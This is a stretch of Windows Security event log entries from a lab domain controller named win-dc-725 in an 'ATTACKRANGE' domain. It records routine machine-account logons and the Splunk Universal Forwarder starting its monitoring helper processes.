Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:29:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255698
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34B500

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:29:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255697
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x34B500
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64659

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:29:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255696
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34B500

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:30:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255699
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255700
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1128
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255704
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x878
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255703
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255705
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:30:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255708
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34EA31

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:30:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255707
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x34EA31
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64672

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:30:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255706
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34EA31

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:31:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255709
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255711
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x794
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255710
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255712
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255714
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe00
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255713
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:31:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255715
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
